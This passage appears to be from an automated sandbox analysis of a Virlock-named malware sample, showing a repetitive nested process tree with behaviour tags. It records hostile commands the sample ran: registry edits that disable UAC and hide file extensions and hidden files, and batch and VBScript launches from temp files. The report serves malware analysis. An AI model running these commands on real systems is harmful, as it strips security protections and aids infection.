                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3484
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\booAcQMo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3524
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                          121⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5096
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                    118⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4284
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    118⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3960
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      118⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JygAwAcg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      118⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1688
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                        119⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3344
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                  116⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                    117⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2620
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    116⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5260
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      116⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      PID:2292
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lOcgsIss.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      116⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3860
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                        117⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5172
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                  114⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3480
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                    115⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4920
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                    114⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1620
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      114⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5944
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                        115⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2072
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OUsIAQIM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        114⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3048
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            115⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4624
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5080
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2308
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        112⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          113⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4232
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kgosIEIo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          112⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2588
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              113⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1856
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        110⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2132
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        110⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          110⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\usAIIYAg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          110⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4680
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            111⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:708
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      108⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                        109⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        108⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2640
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        108⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4908
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          109⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3984
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vUUwYscg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          108⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5748
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            109⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1856
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4688
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4596
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                        107⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1960
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fEAgUQIw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        106⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:200
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            107⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4728
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      104⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3096
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      104⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        104⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nSEMssQg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                        104⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3212
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          105⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3460
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            105⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6040
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      102⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                      PID:892
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      102⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4316
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        102⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4868
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          103⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2252
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qMIYEgwA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          102⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5220
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              103⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3524
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        100⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2884
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        100⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4840
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            101⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                            100⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2640
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                              101⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1776
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wewsUIEs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5064
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  101⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4680
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            98⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3852
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            98⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
